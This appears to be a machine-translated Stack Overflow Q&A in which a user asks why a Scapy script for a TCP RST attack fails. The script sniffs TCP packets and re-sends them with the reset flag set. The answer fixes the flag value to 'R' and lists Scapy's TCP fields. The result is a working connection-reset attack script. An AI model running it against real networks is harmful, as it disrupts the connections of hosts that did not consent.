我试图用 Scapy 编写 TCP RST 攻击,但我的代码不起作用。请帮助我解决我的问题。
from scapy.all import *
def poison(packet):
packet[TCP].flags='RST'
sendp(packet)
sniff(filter='tcp',prn=poison)
Run Code Online (Sandbox Code Playgroud)
有问题flags,我想。有一个错误:
回溯(最近一次调用):
文件“Univer.py”,第 6 行,在 sniff(filter='tcp',prn=poison)
文件“/usr/lib/pymodules/python2.6/scapy/sendrecv.py”中,第 559 行,嗅探 r =
prn (p)文件“Univer.py”,第 3 行,毒包[TCP].flags='RST'
文件“/usr/lib/pymodules/python2.6/scapy/packet .py”,第 186 行,在 setattr self.setfieldval(attr,val)
文件“/usr/lib/pymodules/python2.6/scapy/packet.py”,第 175 行,在 setfieldval self.fields[attr] = any2i (self, val)
文件“/usr/lib/pymodules/python2.6/scapy/fields.py”,第 785 行,在 any2i y |= 1 << self.names.index(i)值错误:未找到子字符串
在 Scapy 中设置 TCP 标志的正确方法是使用短(一个字母)形式packet[TCP].flags = 'R'。使用当前的 Scapy 开发版本,您可以使用ls()以下命令获取接受的标志:
>>> ls(TCP, verbose=True)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField (4 bits) = (None)
reserved : BitField (3 bits) = (0)
flags : FlagsField (9 bits) = (2)
F, S, R, P, A, U, E, C, N
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
3111 次 |
| 最近记录: |